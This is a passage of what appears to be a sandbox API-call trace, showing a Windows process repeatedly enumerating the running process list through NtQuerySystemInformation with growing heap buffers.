[0224.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0224.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0224.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0224.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0224.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0224.779] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0224.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0224.780] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0224.888] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0224.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0224.888] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0224.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0224.888] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0224.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.888] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0224.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.888] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0224.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.888] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0224.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.888] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0224.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0224.889] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0224.889] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0224.889] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0224.997] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0224.997] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0224.997] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0224.997] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0224.997] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0224.997] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.997] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0224.997] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.997] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0224.997] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.998] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0224.998] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0224.998] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0224.998] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0224.998] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0224.998] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0224.998] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0225.106] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0225.106] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0225.106] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0225.106] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0225.106] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0225.106] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.106] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0225.106] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.107] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0225.107] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.107] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0225.107] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.107] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0225.107] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0225.107] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0225.107] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0225.107] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0225.215] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0225.216] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0225.216] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0225.216] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0225.216] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0225.216] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.216] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0225.216] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.216] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0225.216] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.216] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0225.216] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.216] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0225.216] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0225.217] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0225.217] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0225.217] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0225.326] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0225.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0225.326] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0225.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0225.326] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0225.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.326] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0225.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.327] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0225.327] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.327] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0225.327] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.327] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0225.327] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0225.327] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0225.327] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0225.327] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0225.434] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0225.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0225.434] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0225.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0225.434] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0225.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.434] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0225.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.434] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0225.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.434] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0225.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.434] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0225.434] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0225.435] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0225.435] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0225.435] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0225.550] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0225.550] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0225.550] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0225.550] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0225.550] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0225.550] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.550] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0225.550] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.551] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0225.551] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.551] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0225.551] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.551] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0225.551] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0225.551] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0225.551] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0225.551] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0225.653] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0225.653] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0225.653] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0225.653] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0225.653] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0225.653] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.653] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0225.653] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.653] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0225.653] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.653] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0225.653] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.654] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0225.654] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0225.654] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0225.654] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0225.654] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0225.761] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0225.761] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0225.761] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0225.761] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0225.762] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0225.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.762] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0225.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.762] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0225.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.762] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0225.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.762] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0225.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0225.762] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0225.762] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0225.762] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0225.871] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0225.871] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0225.871] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0225.871] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0225.871] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0225.871] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.871] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0225.871] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.871] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0225.871] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.871] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0225.871] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0225.871] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 